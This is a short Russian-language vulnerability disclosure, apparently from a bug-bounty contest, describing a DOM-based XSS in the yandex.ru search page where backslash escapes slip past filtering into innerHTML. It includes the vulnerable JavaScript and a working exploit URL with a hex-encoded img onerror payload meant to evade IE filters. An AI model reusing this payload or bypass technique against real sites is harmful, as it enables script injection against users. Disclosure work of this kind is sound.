XSS
Приз: 10к рублей
XSS на www.yandex.ru в строке поиска.
Данные из GET переменной "text" попадают в javascript переменную "title", после чего вызывается следующий код:
Код:
var title = "[user_input] — Яндекс: ничего не найдено"
el = document.createElement("i");
el.innerHTML = title;
document.title = el.firstChild.nodeValue;
В переменной text символы <>'" проходят функцию типа htmlspecialchars, но символ \ попадает в javascript в чистом виде.
Таким образом можно сформировать html теги в переменной title используя кодирование символов \xAA или \u00AA, которые в дальнейшем попадут в el.innerHTML и отработают.
Эксплуатация:
Код:
http://yandex.ru/yandsearch?text=\x3cimg+src=x+\x6f\x6eerror=alert(1)\x3e&lr=51
onerror закодирован для обхода фильтров IE.
Ну и конечно без пафосной картинки тут никак не обойтись.
